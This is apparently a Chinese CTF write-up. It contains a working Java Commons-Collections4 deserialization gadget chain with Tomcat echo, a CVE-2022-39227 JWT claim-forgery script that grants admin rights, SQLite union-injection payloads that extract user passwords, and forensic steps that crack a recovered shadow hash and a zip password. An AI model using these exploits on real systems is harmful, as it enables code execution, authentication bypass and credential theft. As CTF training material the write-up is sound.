Web
ezjava
/myTest路由可以直接反序列化
而且存在CC4.0,可以直接cc4打
yso本地打通,但是远程打不了,发现是不出网的,这里打一个tomcat回显就可以了,拼接上CC4利用链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
|
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
import java.util.PriorityQueue;
import java.util.Queue;
import javax.xml.transform.Templates;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import ysoserial.payloads.util.Reflections;
public class CC4 {
public static String base64Encode(byte[] bytes) {
Base64.Encoder encoder = Base64.getEncoder();
return encoder.encodeToString(bytes);
}
public static byte[] serialize(Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object deserialize(byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
Object o = objIn.readObject();
return o;
}
public static void main(String[] argss) throws Exception {
Object templates = Evil.createTemplatesTomcatEcho();
ConstantTransformer constant = new ConstantTransformer(String.class);
// mock method name until armed
Class[] paramTypes = new Class[]{String.class};
Object[] args = new Object[]{"su18"};
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);
// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{constant, instantiate});
// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);
// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;
String b64 = base64Encode(serialize(queue));
System.out.println(b64);
}
}
|
Funweb
这个题目,找了好久的洞都没找到啥,后来仔细想了一下,这里用了jwt去做验证,而且获取admin权限是必须的,所以肯定得从jwt来下手,但是这里的jwt是用PS256算法的是非对称加密,不能直接爆破密钥,所以只能另寻他路,而这里爆出了个CVE-2022-39227
jwcrypto accepts both compact and JSON formats.
It was possible to use this to present a token with arbitrary
claims with a signature from another valid token.
而且官方直接给了测试脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
from datetime import timedelta
from json import loads, dumps
from test.common import generated_keys
from test import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode
@Vows.batch
class ForgedClaims(Vows.Context):
""" Check we get an error when payload is forged using mix of compact and JSON formats """
def topic(self):
""" Generate token """
payload = {'sub': 'alice'}
return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60))
class PolyglotToken(Vows.Context):
""" Make a forged token """
def topic(self, topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['sub'] = 'bob'
parsed_payload['exp'] = 2000000000
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
class Verify(Vows.Context):
""" Check the forged token fails to verify """
@Vows.capture_error
def topic(self, topic):
""" Verify the forged token """
return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256'])
def token_should_not_verify(self, r):
""" Check the token doesn't verify due to mixed format being detected """
expect(r).to_be_an_error()
expect(str(r)).to_equal('invalid JWT format')
|
我们把我们的jwt搞上去,把is_admin换成1就ok了
1
2
3
4
5
6
7
8
9
10
11
12
|
from datetime import timedelta
from json import loads, dumps
import python_jwt as jwt
from jwcrypto.common import base64url_decode, base64url_encode
topic = "eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcwOTkyNDUsImlhdCI6MTY2NzA5ODk0NSwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiJteE9oWllCWTMwYW14bEhTUW4yczRRIiwibmJmIjoxNjY3MDk4OTQ1LCJwYXNzd29yZCI6ImEiLCJ1c2VybmFtZSI6ImEifQ.YL_7_6SwdxvUJm9W9WFRpKrITke0YfQlUDKDx06hifgVp0re7u5FUYSrChtN5trfVNzcWL-I9LNbtm_oLa3MUvxjbG6zJQSFMO6idOl3Wu5nZIRfNsg4RhNHrw4bZV9gf3D7Q4QsvCPcSDT9qXHjWnafZLAJ_y_Q8iZPAqbjaBV9FJ4vu3hjPH8vzN3d-v-39vqjVoQzSGJRz6dzQiBaZ8XGTD6qK8-AZ1xF-lEd02Lo1DD3MpJDUM7XXdPqC-tUnpIWYhaXI_1WNFbZWD6RunhdMJ_Ykt4u1GF7oYRBt12Q_uU106bSdosfPBQ-O2cfF8ewNe3K-RFKJtaVMUkt6A"
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['is_admin'] = 1
parsed_payload['exp'] = 2000000000
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
print('{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}')
|
下一步就是一个GraphQL注入,这个注入好像不算难,
直接查询报错,提示getscoreusingid,但是只能是纯数字
换成name试了一下,又报错发现这里有个getscoreusingnamehahaha
然后就可以开始查询了
查询版本
1
|
1'+union+select+sqlite_version()+—
|
爆出users表
1
|
1'+union+select+(select+name+from+sqlite_master+where+type%3d'table'+limit+0,1)+—
|
查出password1'+union+select+(select+password+from+users)+—
登录获取flag
Misc
strange_forensics
autopsy取证题目说flag1是用户密码,这里得去找shadow,由于只能搜关键词,我就直接搜shadow的特征了root:
确实搜得到
但是其实很多还是passwd,继续往下翻翻到了
有一个bob用户的密码,这里爆破一下就可以了bob:$1$C5/bIl1n$9l5plqPKK4DjjqpGHz46Y/:19283:0:99999:7:::
用hashcat爆了100万个爆破出来了
keyword扫描直接扫描出了flag3的明文Ux_forEnsIcs_MASTER
现在就差flag2了autopsy好像没搜到什么
strings搜了一下敏感的关键字,发现这里是有个secret.zip,而且刚好在我们刚刚获取的用户密码bob的桌面上
要dump文件出来,那就只能vol了,vol要dump出linux的东西,大概率扫不出imageinfo,所以得去自己找找系统搜了一下关键词,18.04
找到了kernel版本号:Linux version 5.4.0-84-generic (buildd@lcy01-amd64-007)
现在系统就找到了,Ubuntu18.04.5 5.4.0-84-generic
然后就是去做一个同版本Ubuntu的虚拟机了,这里更换内核版本
搭建好相同环境的Ubuntu
然后就开始制作profile
然后拉进我们的vol就可以了
就可以使用插件linux_recover_filesystem来跑出文件
1
|
python vol.py -f /tmp/1.mem --profile=LinuxUbuntu_5_4_0-84-generic_profilex64 linux_recover_filesystem -D /tmp/ctf
|
这里的压缩包,打开发现是错误的
010打开分析了一下猜测是加密位被改了,这里加密位改成09,然后发现压缩包正常,但是要密码
爆破了一下,密码就是123456
拿到flag2 _y0u_Ar3_tHe_LIn
三个拼起来就是flag了但是交上去不对,看描述好像flag3还有点出入,又去autopsy搜了一下,果然有不一样的,这个交上去才是对的
flag{890topico_y0u_Ar3_tHe_LInUx_forEnsIcS_MASTER}